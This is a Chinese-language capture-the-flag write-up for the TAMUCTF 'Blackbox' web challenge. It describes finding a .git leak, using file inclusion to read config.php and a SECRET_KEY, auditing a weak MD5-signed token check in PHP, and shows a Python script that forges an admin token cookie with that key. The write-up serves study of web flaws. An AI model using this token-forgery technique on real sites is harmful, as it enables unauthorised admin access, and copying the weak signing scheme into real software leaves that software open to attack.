記一道國際賽CTF web題

kode發表於2023-05-04

這是一篇關於打d3ctf坐牢,無奈去打國際賽的題解。

TAMUCTF [Blackbox]

首先開啟頁面,然後發現一個登陸框

 剛開始最先想到就是弱口令登陸,嘗試幾個後發現登陸不進去。

之後我就換了一個思路,就是掃一下,看看能不能有什麼東西被掃出來,結果還真掃出來點東西,一個flag.txt,一個flag.php,還有就是.git洩露。

 

 先訪問falg.txt結果被老外嘲笑一番,頁面返回hahaha loser,沒辦法脫下程式碼進行程式碼審計吧。

審計之後發現存在檔案包含,於是乎想起之前的falg.php,於是順利成章的讀取flag.php,但是哪有那麼順利,flag.php返回了一個youtobe的一個網址,靠,白高興了。

沒有辦法,只有進行登陸了,看登陸後會不會有flag。

於是又走上了一條程式碼審計的不歸路。

function verify_token(string $token) { 
  $token_data = explode('.', $token);
  if(hash('md5', SECRET_KEY . $token_data[0]) == $token_data[1]) {
    return true;
  }
  return false;
}               //這裡是傳入一個字串,然後出現.號後分成倆部分,MD5雜湊演算法對SECRET_KEY和token_data[0]的組合字串進行雜湊處理,並將雜湊結果與token_data[1]進行比較。如果兩個值相同,則返回true,否則返回false。



function is_admin(string $token) { if(verify_token($token)) { $db = new SQLite3(DB_FILE); $data = json_decode(base64_decode(explode('.', $token)[0]), TRUE); $username = $data['username']; $user_key = $data['user_key']; $admin = $data['admin']; $statement = $db->prepare('SELECT * FROM users WHERE username=:uname AND key=:ukey;'); $statement->bindValue(':uname', $username); $statement->bindValue(':ukey', $user_key); $result = $statement->execute();//這裡進行了一個查詢資料庫,如果轉成JSON格式後的username與資料庫中users表的username一樣,並且user_key與key一樣就可以進行登陸。 if($result != false && $result->fetchArray() != false && $admin == true) { return true; } return false; } }

 

 

 這裡就這倆個方法比較重要,這倆個方法進行身份驗證。

然後我們就可以下手了。

function verify_token(string $token) { 
  $token_data = explode('.', $token);
  if(hash('md5', SECRET_KEY . $token_data[0]) == $token_data[1]) {
    return true;
  }
  return false;
}

這裡我們首先獲得SECRET_KEY,這個SECRET_KEY,翻遍了所有檔案都沒有找到,但是在.gitignore檔案下面找到了config.php,所以我們使用檔案包含讀取config.php,果不其然·,我們找到了SECRET_KEY

 然後我們寫一個指令碼獲取我們需要的字串。

import hashlib
import json
import base64

# 定義 SECRET_KEY 和 Token 資料
SECRET_KEY = 'JYOFGX6w5ylmYXyHuMM2Rm7neHXLrBd2V0f5No3NlP8'
token_data = {
    "username": "admin",
    "user_key": "26ceb685f46e6d22",
    "admin": True
}

# 編碼 Token 資料,生成 Token 字串
encoded_token_data = base64.b64encode(json.dumps(token_data).encode()).decode()
hash_str = SECRET_KEY + encoded_token_data
hash_obj = hashlib.md5(hash_str.encode())
hash_result = hash_obj.hexdigest()
token_str = "{0}.{1}".format(encoded_token_data, hash_result)

# 驗證 Token 字串是否有效
token_parts = token_str.split('.')
if len(token_parts) != 2:
    print("Token 字串不合法")
else:
    decoded_token_data = json.loads(base64.b64decode(token_parts[0]).decode())
    if ('username' in decoded_token_data and 'user_key' in decoded_token_data and 'admin' in decoded_token_data
        and decoded_token_data['username'] == 'admin' and decoded_token_data['user_key'] == '26ceb685f46e6d22'
        and decoded_token_data['admin'] is True):
        str_to_hash = SECRET_KEY + token_parts[0]
        hash_obj = hashlib.md5(str_to_hash.encode())
        hash_result = hash_obj.hexdigest()
        if hash_result == token_parts[1]:
            print("Token 字串有效:", token_str)
        else:
            print("Token 字串無效")
    else:
        print("Token 字串無效")

 

構造cookie之後就能獲得flag。

 

相關文章